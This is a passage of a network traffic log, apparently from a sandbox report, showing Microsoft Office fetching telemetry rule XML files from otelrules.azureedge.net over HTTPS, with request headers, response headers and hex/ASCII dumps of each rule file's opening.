2024-12-03 16:55:28 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:29 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:29 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:29 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: bdb61e3c-f01e-0099-1ac7-439171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165529Z-174f7845968frfdmhC1EWRxxbw000000169g000000008s9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:29 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:29 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:29 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:29 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f24b5158-501e-0047-6a59-43ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165529Z-174f78459685726chC1EWRsnbg000000166000000000quxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:29 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:29 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:29 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 5c1224a4-501e-0029-53ee-44d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165529Z-174f7845968pf68xhC1EWRr4h800000016hg000000003511 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:30 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:29 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:30 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 78026cae-d01e-0082-044f-41e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165530Z-174f7845968pght8hC1EWRyvxg00000009eg000000001ccp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:30 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:30 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:30 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 0e5f614d-c01e-0066-48ee-44a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165530Z-174f7845968px8v7hC1EWR08ng00000016g0000000009bwy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:30 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:31 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:31 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 9b9719a8-201e-0033-3491-3fb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165531Z-174f78459688l8rvhC1EWRtzr00000000kx0000000001chr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:32 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:31 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:32 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 6eaf05c4-e01e-0033-6100-454695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165532Z-174f7845968px8v7hC1EWR08ng00000016e000000000ha9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:32 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:31 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:32 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: e52eaca9-401e-0064-32a1-4254af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165532Z-174f7845968px8v7hC1EWR08ng00000016gg000000007bvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:32 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:32 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:32 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 36571fa1-001e-0079-6699-4312e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165532Z-174f7845968cpnpfhC1EWR3afc00000015ug00000000e2km x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:32 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:32 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:32 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 20c5b054-901e-0016-7725-44efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165532Z-174f7845968vqt9xhC1EWRgten00000016bg000000001a58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:32 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:33 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:34 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e071f9fb-501e-00a0-6a82-439d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165534Z-174f7845968qj8jrhC1EWRh41s000000165g00000000czm7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:34 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:34 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
